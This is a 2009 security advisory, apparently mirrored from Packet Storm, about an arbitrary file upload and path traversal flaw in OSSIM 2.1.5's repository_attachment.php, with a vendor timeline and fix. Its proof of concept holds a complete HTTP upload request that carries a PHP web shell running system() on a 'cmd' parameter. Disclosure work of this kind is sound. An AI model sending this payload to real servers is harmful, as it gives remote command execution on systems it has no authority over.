OSSIM 2.1.5 File Upload

🗓️ 16 Dec 2009 00:00:00Reported by Nahuel GrisoliaType
packetstorm🔗 packetstormsecurity.com👁 21 Views
Arbitrary File Upload in OSSIM 2.1.5 - High Severit
`Advisory Name: Arbitrary File Upload in OSSIM  
  
Vulnerability Class: Arbitrary File Upload  
  
Release Date: 12-16-2009  
  
Affected Applications: Confirmed in OSSIM 2.1.5. Other versions may also be affected.  
  
Affected Platforms: Multiple  
  
Local / Remote: Remote  
  
Severity: High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)  
  
Researcher: Nahuel Grisolía  
  
Vendor Status: Acknowledged/Fixed. New release available (OSSIM 2.1.5-4)  
  
Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf  
  
Vulnerability Description:  
  
The vulnerability is caused due to an improper check in “repository_attachment.php” script, allowing  
the upload of files with arbitrary extensions to a folder inside the Webroot. This can be exploited to e.g.  
execute arbitrary PHP code by uploading a specially crafted PHP script containing some kind of Web  
Shell. Also, using path traversal technique, an attacker can change the original destination path.  
  
Proof of Concept:  
  
1) Select a file with any extension (including PHP) and upload it using the form. The file will be  
available in: /ossiminstall/uploads/(DOC_ID_FOLDER)/(DOC_ID).php  
2) Using path traversal technique, an attacker can write into other directory, like tmp, inside the  
Webroot:  
  
POST /ossim/repository/repository_attachment.php HTTP/1.1  
Host: XXX.XXX.XXX.XXX  
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10  
(karmic) Firefox/3.5.5  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 300  
Proxy-Connection: keep-alive  
Cookie: PHPSESSID=(YOUR_COOKIE_HERE)  
Content-Type: multipart/form-data; boundary=---------------------------  
11440981608429693121899471469  
Content-Length: 689  
-----------------------------11440981608429693121899471469  
Content-Disposition: form-data; name="id_document"  
../tmp/  
-----------------------------11440981608429693121899471469  
Content-Disposition: form-data; name="atchfile"; filename="R4nd0mF1l31tdoesntmatter.php"  
Content-Type: text/vnd.wap.wml  
<HTML><BODY>  
<FORM METHOD="GET" NAME="myform" ACTION="">  
<INPUT TYPE="text" NAME="cmd">  
<INPUT TYPE="submit" VALUE="Send">  
</FORM>  
<pre>  
<?  
if($_GET['cmd']) {  
system($_GET['cmd']);  
}  
?>  
</pre>  
</BODY></HTML>  
-----------------------------11440981608429693121899471469--  
  
and then, browse /ossiminstall/tmp/_(DOC_ID).php  
  
Impact:  
  
Direct execution of arbitrary PHP code in the Web Server.  
  
Solution: Upgrade to OSSIM 2.1.5-4  
  
Vendor Response:  
  
2009-12-08 – Vulnerability is identified  
2009-12-09 – Vendor is contacted  
2009-12-09 – Vendor confirmed vulnerability  
2009-12-16 – Vendor released fixed version  
2009-12-16 – Vulnerability is published  
  
Contact Information:  
  
For more information regarding the vulnerability feel free to contact the researcher at  
ngrisolia <at> cybsec <dot> com  
About CYBSEC S.A. Security Systems:  
Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in  
Information Security. Their area of services covers Latin America, Spain and over 250 customers are a  
proof of their professional life.  
To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other  
software and/or hardware provider companies.  
Our services are strictly focused on Information Security, protecting our clients from emerging security  
threats, maintaining their IT deployments available, safe, and reliable.  
Beyond professional services, CYBSEC is continuously researching new defense and attack techniques  
and contributing with the security community with high quality information exchange.  
For more information, please visit www.cybsec.com  
(c) 2009 - CYBSEC S.A. Security Systems  
  
`
16 Dec 2009 00:00Current
7.4High risk
Vulners AI Score7.4